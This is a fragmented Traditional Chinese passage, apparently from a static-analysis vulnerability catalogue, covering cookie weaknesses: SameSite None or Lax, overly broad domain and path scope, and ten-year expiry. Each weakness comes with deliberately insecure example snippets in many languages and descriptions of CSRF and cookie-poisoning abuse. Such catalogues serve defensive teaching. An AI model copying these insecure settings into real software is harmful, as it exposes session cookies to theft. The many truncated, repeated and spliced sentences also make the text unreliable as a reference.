SameSite 屬性。SameSite 參數會限制 Cookie 的範圍，所以只會在要求是從第一方或相同網站環境產生時，才會附加到要求。這有助於防範來自 Cross-Site Request Forgery (CSRF) 攻擊者的 Cookie。SameSite 參數可以有以下三個值：Strict 時，Cookie 僅與最上層導覽的要求一起傳送。Lax 時，Cookie 會與來自同一主機的最上層導覽以及從第三方網站發起到主機的 GET 要求一起傳送。例如，假設第三方網站使用 iframe 或 href 標籤來連結至主機網站。如果使用者點選連結，要求將會包含 Cookie。SameSite 屬性設為 None。
...
Cookie cookie = new Cookie('name', 'Foo', path, -1, true, 'None');
...
SameSite 屬性。SameSite 屬性限制了 Cookie 的範圍，所以只會在要求是從第一方或相同網站環境產生時，才會附加到要求。這有助於防範來自 Cross-Site Request Forgery (CSRF) 攻擊者的 Cookie。SameSite 屬性可以有以下三個值：Strict 時，Cookie 僅與最上層導覽的要求一起傳送。Lax 時，Cookie 會從同一主機透過頂層導覽傳送，還有透過來自第三方網站的 GET 要求傳送，包括那些具有 iframe 或 href 標籤 (會連結至主機站點) 的要求。如果使用者點選連結，要求將會包含 Cookie。SameSite 屬性。
...
CookieOptions opt = new CookieOptions()
{
SameSite = SameSiteMode.None;
};
context.Response.Cookies.Append("name", "Foo", opt);
...
SameSite 屬性。SameSite 屬性限制了 Cookie 的範圍，所以只會在要求是從第一方或相同網站環境產生時，才會附加到要求。這有助於防範來自 Cross-Site Request Forgery (CSRF) 攻擊者的 Cookie。SameSite 屬性可以有以下三個值：Strict 時，Cookie 僅與最上層導覽的要求一起傳送。Lax 時，Cookie 會與來自同一主機的最上層導覽以及從第三方網站發起到主機的 GET 要求一起傳送。例如，假設第三方網站使用 iframe 或 href 標籤來連結至主機網站。如果使用者點選連結，要求將會包含 Cookie。SameSite 屬性。
c := &http.Cookie{
Name: "cookie",
Value: "samesite-none",
SameSite: http.SameSiteNoneMode,
}
SameSite 屬性。SameSite 屬性限制了 Cookie 的範圍，所以只會在要求是從第一方或相同網站環境產生時，才會附加到要求。這有助於防範來自 Cross-Site Request Forgery (CSRF) 攻擊者的 Cookie。SameSite 屬性可以有以下三個值：Strict 時，Cookie 僅與最上層導覽的要求一起傳送。Lax 時，Cookie 會從同一主機透過頂層導覽傳送，還有透過來自第三方網站的 GET 要求傳送，包括那些具有 iframe 或 href 標籤 (會連結至主機站點) 的要求。例如，假設有一個第三方網站使用 iframe 或 href 標籤來連結至主機網站。如果使用者點選連結，要求將會包含 Cookie。SameSite 屬性。
ResponseCookie cookie = ResponseCookie.from("myCookie", "myCookieValue")
...
.sameSite("None")
...
SameSite 屬性。SameSite 屬性限制了 Cookie 的範圍，所以只會在要求是從第一方或相同網站環境產生時，才會附加到要求。這有助於防範來自 Cross-Site Request Forgery (CSRF) 攻擊者的 Cookie。SameSite 屬性可以有以下三個值：Strict 時，Cookie 僅與最上層導覽的要求一起傳送。Lax 時，Cookie 會從同一主機透過頂層導覽傳送，還有透過來自第三方網站的 GET 要求傳送，包括那些具有 iframe 或 href 標籤 (會連結至主機站點) 的要求。例如，假設有一個第三方網站使用 iframe 或 href 標籤來連結至主機網站。如果使用者點選連結，要求將會包含 Cookie。SameSite 屬性。
app.get('/', function (req, res) {
...
res.cookie('name', 'Foo', { sameSite: false });
...
}
SameSite 屬性。SameSite 屬性限制了 Cookie 的範圍，所以只會在要求是從第一方或相同網站環境產生時，才會附加到要求。這有助於防範來自 Cross-Site Request Forgery (CSRF) 攻擊者的 Cookie。SameSite 屬性可以有以下三個值：Strict 時，Cookie 僅與最上層導覽的要求一起傳送。Lax 時，Cookie 會與來自同一主機的最上層導覽以及從第三方網站發起到主機的 GET 要求一起傳送。例如，假設第三方網站使用 iframe 或 href 標籤來連結至主機網站。如果使用者點選連結，要求將會包含 Cookie。SameSite 屬性。
ini_set("session.cookie_samesite", "None");
SameSite 屬性。samesite 參數會限制 Cookie 的範圍，所以只會在要求是從第一方或相同網站環境產生時，才會附加到要求。這有助於防範來自 Cross-Site Request Forgery (CSRF) 攻擊者的 Cookie。samesite 參數可以有以下三個值：Strict 時，Cookie 僅與最上層導覽的要求一起傳送。Lax 時，Cookie 會與來自同一主機的最上層導覽以及從第三方網站發起到主機的 GET 要求一起傳送。例如，假設第三方網站使用 iframe 或 href 標籤來連結至主機網站。如果使用者點選連結，要求將會包含 Cookie。SameSite 屬性。
response.set_cookie("cookie", value="samesite-none", samesite=None)
.example.com」) 內啟用。這會將 Cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
HttpCookie cookie = new HttpCookie("sessionID", sessionID);
cookie.Domain = ".example.com";
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-Site Scripting 弱點。 任何已向 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 Cookie 的風險。insecure.example.com 來自行建立路徑範圍過大的 Cookie，藉此執行可從 secure.example.com 覆寫 Cookie 的 Cookie Poisoning 攻擊。.example.com」) 內啟用。這會將 cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
cookie := http.Cookie{
Name: "sessionID",
Value: getSessionID(),
Domain: ".example.com",
}
...
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-Site Scripting 弱點。任何已向 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 Cookie 的風險。insecure.example.com 來自行建立範圍過大的 Cookie，藉此執行可從 Secure.example.com 覆寫 Cookie 的「Cookie 破壞攻擊」。.example.com」) 內啟用。這會將 Cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
Cookie cookie = new Cookie("sessionID", sessionID);
cookie.setDomain(".example.com");
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-site scripting 的弱點。任何已受 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 cookie 的風險。insecure.example.com 來自行建立過大範圍的 cookie，藉此執行可從 secure.example.com 覆寫 cookie 的 Cookie 下毒攻擊。.example.com」) 內啟用。這會將 Cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
cookie_options = {};
cookie_options.domain = '.example.com';
...
res.cookie('important_cookie', info, cookie_options);
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-Site Scripting 的弱點。任何已受 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 cookie 的風險。insecure.example.com 來自行建立過大範圍的 cookie，藉此執行可從 secure.example.com 覆寫 cookie 的 Cookie 下毒攻擊。.example.com」) 內啟用。這會將 Cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
...
NSDictionary *cookieProperties = [NSDictionary dictionary];
...
[cookieProperties setValue:@".example.com" forKey:NSHTTPCookieDomain];
...
NSHTTPCookie *cookie = [NSHTTPCookie cookieWithProperties:cookieProperties];
...
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-site scripting 的弱點。任何已受 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 cookie 的風險。insecure.example.com 來自行建立過大範圍的 cookie，藉此執行可從 secure.example.com 覆寫 cookie 的 Cookie 下毒攻擊。.example.com」) 內啟用。這會將 Cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
setcookie("mySessionId", getSessionID(), 0, "/", ".example.com", true, true);
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-site scripting 的弱點。任何已受 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 cookie 的風險。insecure.example.com 來自行建立過大範圍的 cookie，藉此執行可從 secure.example.com 覆寫 cookie 的 Cookie 下毒攻擊。.example.com」) 內啟用。這會將 Cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
from django.http.response import HttpResponse
...
def view_method(request):
res = HttpResponse()
res.set_cookie("mySessionId", getSessionID(), domain=".example.com")
return res
...
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-Site Scripting 的弱點。任何已受 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 cookie 的風險。insecure.example.com 來自行建立過大範圍的 Cookie，藉此執行可從 secure.example.com 覆寫 Cookie 的「Cookie 破壞攻擊」。.example.com」) 內啟用。這會將 Cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
Ok(Html(command)).withCookies(Cookie("sessionID", sessionID, domain = Some(".example.com")))
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-Site Scripting 弱點。 任何已向 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 Cookie 的風險。insecure.example.com 來自行建立路徑範圍過大的 Cookie，藉此執行可從 secure.example.com 覆寫 Cookie 的 Cookie Poisoning 攻擊。.example.com」) 內啟用。這會將 Cookie 揭露給基礎網域及任何子網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://secure.example.com/ 部署安全的應用程式，且當使用者登入時，應用程式以網域「.example.com」設定工作階段 ID Cookie。
...
let properties = [
NSHTTPCookieDomain: ".example.com",
NSHTTPCookiePath: "/service",
NSHTTPCookieName: "foo",
NSHTTPCookieValue: "bar",
NSHTTPCookieSecure: true
]
let cookie : NSHTTPCookie? = NSHTTPCookie(properties:properties)
...
http://insecure.example.com/ 有另一個較不安全的應用程式，且它含有 Cross-Site Scripting 的弱點。任何已受 http://secure.example.com 驗證的使用者在瀏覽 http://insecure.example.com 時，會造成向 http://secure.example.com 暴露其階段作業 cookie 的風險。insecure.example.com 來自行建立過大範圍的 cookie，藉此執行可從 secure.example.com 覆寫 cookie 的 Cookie 下毒攻擊。/」) 存取。此舉會將 cookie 揭露給網域上所有的Ｗeb 應用程式。由於 cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。例如：
...
String path = '/';
Cookie cookie = new Cookie('sessionID', sessionID, path, maxAge, true, 'Strict');
...
http://communitypages.example.com/EvilSite 建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 之論壇使用者的帳戶安全。/EvilSite 來自行建立過大範圍的 Cookie，藉此執行可從 /MyForum 覆寫 Cookie 的 Cookie 破壞攻擊。/」，不過，這麼做會將 Cookie 揭露給同一個網域的所有 Web 應用程式。由於 cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
HttpCookie cookie = new HttpCookie("sessionID", sessionID);
cookie.Path = "/";
http://communitypages.example.com/EvilSite建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 的任何論壇使用者之帳戶安全。/EvilSite 來自行建立過大範圍的 cookie，藉此執行可從 /MyForum 覆寫 cookie 的 Cookie 下毒攻擊。/」) 存取。此舉會將 cookie 揭露給網域上所有的Ｗeb 應用程式。由於 cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共享 cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
cookie := http.Cookie{
Name: "sessionID",
Value: sID,
Expires: time.Now().AddDate(0, 0, 1),
Path: "/",
}
...
http://communitypages.example.com/EvilSite 建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當論壇使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 之論壇使用者的帳戶安全。/EvilSite 來自行建立範圍過大的 Cookie，藉此執行可從 /MyForum 覆寫 Cookie 的「Cookie 破壞攻擊」。/」) 存取 Cookie」，不過，這麼做會將 Cookie 揭露給網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共用 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
Cookie cookie = new Cookie("sessionID", sessionID);
cookie.setPath("/");
http://communitypages.example.com/EvilSite建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 的任何論壇使用者之帳戶安全。/EvilSite 來自行建立過大範圍的 cookie，藉此執行可從 /MyForum 覆寫 cookie 的 Cookie 下毒攻擊。/」) 存取 Cookie」，不過，這麼做會將 Cookie 揭露給網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共用 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
cookie_options = {};
cookie_options.path = '/';
...
res.cookie('important_cookie', info, cookie_options);
http://communitypages.example.com/EvilSite建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 的任何論壇使用者之帳戶安全。/EvilSite 來自行建立過大範圍的 cookie，藉此執行可從 /MyForum 覆寫 cookie 的 Cookie 下毒攻擊。/」) 存取 Cookie」，不過，這麼做會將 Cookie 揭露給網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共用 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
...
NSDictionary *cookieProperties = [NSDictionary dictionary];
...
[cookieProperties setValue:@"/" forKey:NSHTTPCookiePath];
...
NSHTTPCookie *cookie = [NSHTTPCookie cookieWithProperties:cookieProperties];
...
http://communitypages.example.com/EvilSite建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 的任何論壇使用者之帳戶安全。/EvilSite 來自行建立過大範圍的 cookie，藉此執行可從 /MyForum 覆寫 cookie 的 Cookie 下毒攻擊。/」) 存取 Cookie」，不過，這麼做會將 Cookie 揭露給網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共用 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
setcookie("mySessionId", getSessionID(), 0, "/", "communitypages.example.com", true, true);
http://communitypages.example.com/EvilSite 建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 的任何論壇使用者之帳戶安全。/EvilSite 來自行建立過大範圍的 cookie，藉此執行可從 /MyForum 覆寫 cookie 的 Cookie 下毒攻擊。/」) 存取 Cookie」，不過，這麼做會將 Cookie 揭露給網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共用 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
from django.http.response import HttpResponse
...
def view_method(request):
res = HttpResponse()
res.set_cookie("sessionid", value) # Path defaults to "/"
return res
...
http://communitypages.example.com/EvilSite建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 的任何論壇使用者之帳戶安全。/EvilSite 來自行建立過大範圍的 Cookie，藉此執行可從 /MyForum 覆寫 Cookie 的「Cookie 破壞攻擊」。/」) 存取 Cookie」，不過，這麼做會將 Cookie 揭露給網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共用 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
Ok(Html(command)).withCookies(Cookie("sessionID", sessionID, path = "/"))
http://communitypages.example.com/EvilSite建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 的任何論壇使用者之帳戶安全。/EvilSite 來自行建立路徑範圍過大的 Cookie，藉此執行可從 /MyForum 覆寫 Cookie 的 Cookie Poisoning 攻擊。/」) 存取 Cookie」，不過，這麼做會將 Cookie 揭露給網域上的所有 Web 應用程式。由於 Cookie 通常具有敏感資訊 (如階段作業識別碼)，因此在應用程式間共用 Cookie 可能會使一個應用程式中出現弱點，進而對另一個應用程式造成危害。http://communitypages.example.com/MyForum 部署論壇應用程式，且當使用者登入論壇時，應用程式以路徑「/」設定工作階段 ID Cookie。
...
let properties = [
NSHTTPCookieDomain: "www.example.com",
NSHTTPCookiePath: "/",
NSHTTPCookieName: "foo",
NSHTTPCookieValue: "bar",
NSHTTPCookieSecure: true
]
let cookie : NSHTTPCookie? = NSHTTPCookie(properties:properties)
...
http://communitypages.example.com/EvilSite建立另一個應用程式，並在此論壇中張貼連至此網站的連結。當該論壇的使用者按一下此連結時，瀏覽器會將由 /MyForum 設定的 Cookie 傳送到在 /EvilSite 執行的應用程式。透過竊取階段作業 ID，攻擊者便可危及瀏覽 /EvilSite 的任何論壇使用者之帳戶安全。/EvilSite 來自行建立過大範圍的 cookie，藉此執行可從 /MyForum 覆寫 cookie 的 Cookie 下毒攻擊。SameSite 屬性未設定為 Strict。SameSite 參數會限制 Cookie 的範圍，所以只會在要求是從第一方或相同網站環境產生時，才會附加到要求。這有助於防範來自 Cross-Site Request Forgery (CSRF) 攻擊者的 Cookie。SameSite 參數可以有以下三個值：Strict 時，Cookie 僅與最上層導覽的要求一起傳送。Lax 時，Cookie 會與來自同一主機的最上層導覽以及從第三方網站發起到主機的 GET 要求一起傳送。例如，假設第三方網站使用 iframe 或 href 標籤來連結至主機網站。如果使用者點選連結，要求將會包含 Cookie。SameSite 參數設為 Lax。
...
Cookie cookie = new Cookie('name', 'Foo', path, -1, true, 'Lax');
...
SameSite 屬性未設定為 Strict。SameSite 屬性可防範來自 Cross-Site Request Forgery (CSRF) 等攻擊的 Cookie。階段作業 Cookie 代表網站的使用者，以便使用者可以執行授權的動作。但是，瀏覽器會自動隨要求傳送 Cookie，因此使用者和網站會間接信任瀏覽器來進行授權。攻擊者可以濫用這種信任，並藉由在攻擊者控制之第三方網站頁面中的 link 和 iframe 等標籤的 href 和 src 屬性中嵌入連結，來代表使用者向網站發出要求。如果攻擊者能將毫無戒心的使用者引誘到他們控制的第三方網站，則攻擊者便可發出要求來自動包含授權使用者的階段作業 Cookie，藉此有效地授權攻擊者，就好像他們是使用者一樣。SameSite 屬性的值設定為 Strict。這會限制瀏覽器僅將 Cookie 附加至最上層導覽或源自相同網站的要求。透過 iframe、img 和 form 等各種標籤中的連結，從第三方網站發起的要求沒有這些 Cookie，因此會阻止網站採取使用者可能未授權的動作。SameSite 屬性設定為 Lax。
...
CookieOptions opt = new CookieOptions()
{
SameSite = SameSiteMode.Lax;
};
context.Response.Cookies.Append("name", "Foo", opt);
...
SameSite 屬性未設定為 SameSiteStrictMode。SameSite 屬性可防範來自 Cross-Site Request Forgery (CSRF) 等攻擊的 Cookie。階段作業 Cookie 代表網站的使用者，以便使用者可以執行授權的動作。但是，瀏覽器會自動隨要求傳送 Cookie，因此使用者和網站會間接信任瀏覽器來進行授權。攻擊者可以濫用這種信任，並藉由在攻擊者控制之第三方網站頁面中的 link 和 iframe 等標籤的 href 和 src 屬性中嵌入連結，來代表使用者向網站發出要求。如果攻擊者能將毫無戒心的使用者引誘到他們控制的第三方網站，則攻擊者便可發出要求來自動包含授權使用者的階段作業 Cookie，藉此有效地授權攻擊者，就好像他們是使用者一樣。SameSiteStrictMode 的 SameSite 屬性，會限制瀏覽器僅將 Cookie 附加至最上層導覽或源自同一網站的要求。透過 iframe、img 和 form 等各種標籤中的連結，從第三方網站發起的要求沒有這些 Cookie，因此會阻止網站採取使用者可能未授權的動作。SameSite 屬性中針對工作階段 Cookie 啟用 SameSiteLaxMode。
c := &http.Cookie{
Name: "cookie",
Value: "samesite-lax",
SameSite: http.SameSiteLaxMode,
}
SameSite 屬性未設定為 Strict。SameSite 屬性可防範來自 Cross-Site Request Forgery (CSRF) 等攻擊的 Cookie。階段作業 Cookie 代表網站的使用者，以便使用者可以執行授權的動作。但是，瀏覽器會自動隨要求傳送 Cookie，因此使用者和網站會間接信任瀏覽器來進行授權。攻擊者可以濫用這種信任，並藉由在攻擊者控制之第三方網站頁面中的 link 和 iframe 等標籤的 href 和 src 屬性中嵌入連結，來代表使用者向網站發出要求。如果攻擊者能將毫無戒心的使用者引誘到他們控制的第三方網站，則攻擊者便可發出要求來自動包含授權使用者的階段作業 Cookie，藉此有效地授權攻擊者，就好像他們是使用者一樣。SameSite 屬性的值設定為 Strict。這會限制瀏覽器僅將 Cookie 附加至最上層導覽或源自相同網站的要求。透過 iframe、img 和 form 等各種標籤中的連結，從第三方網站發起的要求沒有這些 Cookie，因此會阻止網站採取使用者可能未授權的動作。SameSite 屬性設定為 Lax。
ResponseCookie cookie = ResponseCookie.from("myCookie", "myCookieValue")
...
.sameSite("Lax")
...
}
SameSite 屬性未設定為 Strict。SameSite 屬性可防範來自 Cross-Site Request Forgery (CSRF) 等攻擊的 Cookie。階段作業 Cookie 代表網站的使用者，以便使用者可以執行授權的動作。但是，瀏覽器會自動隨要求傳送 Cookie，因此使用者和網站會間接信任瀏覽器來進行授權。攻擊者可以濫用這種信任，並藉由在攻擊者控制之第三方網站頁面中的 link 和 iframe 等標籤的 href 和 src 屬性中嵌入連結，來代表使用者向網站發出要求。如果攻擊者能將毫無戒心的使用者引誘到他們控制的第三方網站，則攻擊者便可發出要求來自動包含授權使用者的階段作業 Cookie，藉此有效地授權攻擊者，就好像他們是使用者一樣。SameSite 屬性的值設定為 Strict。這會限制瀏覽器僅將 Cookie 附加至最上層導覽或源自相同網站的要求。透過 iframe、img 和 form 等各種標籤中的連結，從第三方網站發起的要求沒有這些 Cookie，因此會阻止網站採取使用者可能未授權的動作。SameSite 屬性設定為 Lax。
app.get('/', function (req, res) {
...
res.cookie('name', 'Foo', { sameSite: "Lax" });
...
}
SameSite 屬性未設定為 Strict。SameSite 屬性可防範來自 Cross-Site Request Forgery (CSRF) 等攻擊的 Cookie。階段作業 Cookie 代表網站的使用者，以便使用者可以執行授權的動作。但是，瀏覽器會自動隨要求傳送 Cookie，因此使用者和網站會間接信任瀏覽器來進行授權。攻擊者可以濫用這種信任，並藉由在攻擊者控制之第三方網站頁面中的 link 和 iframe 等標籤的 href 和 src 屬性中嵌入連結，來代表使用者向網站發出要求。如果攻擊者能將毫無戒心的使用者引誘到他們控制的第三方網站，則攻擊者便可發出要求來自動包含授權使用者的階段作業 Cookie，藉此有效地授權攻擊者，就好像他們是使用者一樣。Strict 的 SameSite 屬性，會限制瀏覽器僅將 Cookie 附加至最上層導覽或源自同一網站的要求。透過 iframe、img 和 form 等各種標籤中的連結，從第三方網站發起的要求沒有這些 Cookie，因此會阻止網站採取使用者可能未授權的動作。SameSite 屬性中啟用 Lax 模式。
ini_set("session.cookie_samesite", "Lax");
SameSite 屬性未設定為 Strict。SameSite 屬性可防範來自 Cross-Site Request Forgery (CSRF) 等攻擊的 Cookie。階段作業 Cookie 代表網站的使用者，以便使用者可以執行授權的動作。但是，瀏覽器會自動隨要求傳送 Cookie，因此使用者和網站會間接信任瀏覽器來進行授權。攻擊者可以濫用這種信任，並藉由在攻擊者控制之第三方網站頁面中的 link 和 iframe 等標籤的 href 和 src 屬性中嵌入連結，來代表使用者向網站發出要求。如果攻擊者能將毫無戒心的使用者引誘到他們控制的第三方網站，則攻擊者便可發出要求來自動包含授權使用者的階段作業 Cookie。這可以有效為攻擊者提供使用者授權的存取權限。SameSite 參數中，將階段作業 Cookie 設為 Strict，會限制瀏覽器僅將 Cookie 附加至最上層導覽或源自同一網站的要求。透過 iframe、img 和 form 等各種標籤中的連結，從第三方網站發起的要求沒有這些 Cookie，因此會阻止網站採取使用者可能未授權的動作。samesite 屬性中針對工作階段 Cookie 啟用 Lax。
response.set_cookie("cookie", value="samesite-lax", samesite="Lax")
...
Integer maxAge = 60*60*24*365*10;
Cookie cookie = new Cookie('emailCookie', emailCookie, path, maxAge, true, 'Strict');
...
HttpCookie cookie = new HttpCookie("emailCookie", email);
cookie.Expires = DateTime.Now.AddYears(10);;
Cookie cookie = new Cookie("emailCookie", email);
cookie.setMaxAge(60*60*24*365*10);
...
NSDictionary *cookieProperties = [NSDictionary dictionary];
...
[cookieProperties setValue:[[NSDate date] dateByAddingTimeInterval:(60*60*24*365*10)] forKey:NSHTTPCookieExpires];
...
NSHTTPCookie *cookie = [NSHTTPCookie cookieWithProperties:cookieProperties];
...
setcookie("emailCookie", $email, time()+60*60*24*365*10);
from django.http.response import HttpResponse
...
def view_method(request):
res = HttpResponse()
res.set_cookie("emailCookie", email, expires=time()+60*60*24*365*10, secure=True, httponly=True)
return res
...
Ok(Html(command)).withCookies(Cookie("sessionID", sessionID, maxAge = Some(60*60*24*365*10)))
...
let properties = [
NSHTTPCookieDomain: "www.example.com",
NSHTTPCookiePath: "/service",
NSHTTPCookieName: "foo",
NSHTTPCookieValue: "bar",
NSHTTPCookieSecure: true,
NSHTTPCookieExpires : NSDate(timeIntervalSinceNow: (60*60*24*365*10))
]
let cookie : NSHTTPCookie? = NSHTTPCookie(properties:properties)
...
